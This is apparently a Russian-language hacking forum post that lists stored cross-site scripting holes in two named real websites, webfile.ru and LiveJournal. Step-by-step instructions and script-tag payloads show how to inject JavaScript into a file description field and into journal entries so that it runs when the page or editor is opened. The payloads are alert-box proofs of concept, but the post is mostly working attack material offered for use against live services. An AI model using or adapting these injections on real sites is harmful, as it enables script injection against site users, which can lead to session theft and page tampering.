1) http://webfile.ru
Заливаем любой файл. И в "Описание файла: " вставляем нашу хсс, например:
Код:
"><script>alert("freddi")</script>
При переходе по ссылке с залитым файлом будет вылезать алерт.
Работает в ие и опере
))
2) http://www.livejournal.com
Здесь более кривая хсс.
Создаем новую запись, тема не важна.
а) Тип сообщения должен быть «HTML», вставляем в сообщение
Код:
"><script>alert("freddi")</script>
потом переходим на «Визуальный редактор», вылезает алерт, далее опять вставляем в сообщение
Код:
"><script>alert("freddi")</script>
нажимаем отправить в дневник, вылезает еще один алерт. При просмотре этой записи все норм, но если нажать редактировать то вылезет алерт.
б) Тип сообщения должен быть «HTML», вставляем в сообщение:
Код:
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="mso-ansi-language: EN-US"><font size="3"><font face="Times New Roman">12</font></font></span></p><script type="text/javascript">alert("freddi")</script>
сохраняем в журнал, далее при редактировании если перейти на «Визуальный редактор» вылезет алерт.
Работает только в ие.